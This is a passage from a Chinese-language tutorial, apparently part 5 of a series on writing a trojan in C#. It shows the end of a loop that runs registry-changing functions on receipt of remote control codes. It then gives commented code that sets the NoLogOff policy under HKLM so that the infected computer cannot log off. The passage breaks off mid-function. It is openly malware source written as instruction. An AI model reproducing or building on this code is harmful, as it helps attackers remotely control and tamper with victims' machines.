用C#实现木马程序(5) //返回控制消息 retMessage(); break; case "zx0100": //修改注册表函数 UnClose(); //返回控制消息 retMessage(); break; //重复的case功能与前面一样,略掉 default: break; }//case }//while } //private void reControlCode 3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\EXPlorer 下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改: private void UnLogOff() { //得到主机的注册表的顶级节点 Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; //设置一个注册表子键的变量 RegistryKey key1; try { //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true); //设置子键的键名,和值 key1.SetValue ("NoLogOff",1); //关闭打开的子键 key1.Close(); //警告字符串设定 mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; } catch{} //如果不存在自已建立 if(key1 ==null) { try { //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键